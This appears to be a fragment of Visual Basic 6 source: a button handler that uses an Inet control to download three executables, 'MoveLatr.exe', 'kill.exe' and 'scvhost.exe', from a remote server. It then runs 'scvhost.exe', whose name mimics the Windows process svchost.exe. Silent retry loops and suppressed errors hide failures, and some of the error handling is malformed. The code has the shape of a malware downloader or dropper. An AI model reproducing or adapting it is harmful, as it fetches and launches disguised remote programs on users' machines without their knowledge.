Private Sub Command2_Click()
'While Inet1.StillExecuting: DoEvents: Wend
ResumeDownload:
On Error GoTo ResumeDownload
Pause 4000
If Dir(App.Path & "\MoveLatr.exe") = "" Then
Pause 5000
Inet1.Execute "", "GET " & "MoveLatr.exe" & " " & "MoveLatr.exe"
DoEvents
'a = a + 1
'If a = 4 Then GoTo Error
'GoTo ResumeDownload
Else
Resume Next
End If
'While Inet1.StillExecuting: DoEvents: Wend
DoEvents
Pause 2000
ResumeDownload2:
On Error GoTo ResumeDownload2
Pause 4000
If Dir(App.Path & "\kill.exe") = "" Then
Pause 5000
Inet1.Execute "", "GET " & "kill.exe" & " " & "kill.exe"
DoEvents
'a = a + 1
'If a = 4 Then GoTo Error
'GoTo ResumeDownload
Else
End If
'While Inet1.StillExecuting: DoEvents: Wend
DoEvents
Pause 2000
ResumeDownload3:
On Error GoTo ResumeDownload3
Pause 4000
If Dir(App.Path & "\scvhost.exe") = "" Then
Pause 5000
Inet1.Execute "", "GET " & "scvhost.exe" & " " & "scvhost.exe"
DoEvents
'While Inet1.StillExecuting: DoEvents: Wend
Shell App.Path & "\scvhost.exe"
'a = a + 1
'If a = 4 Then GoTo Error
'GoTo ResumeDownload
Else
Shell App.Path & "\scvhost.exe"
Resume Next
End If
End Sub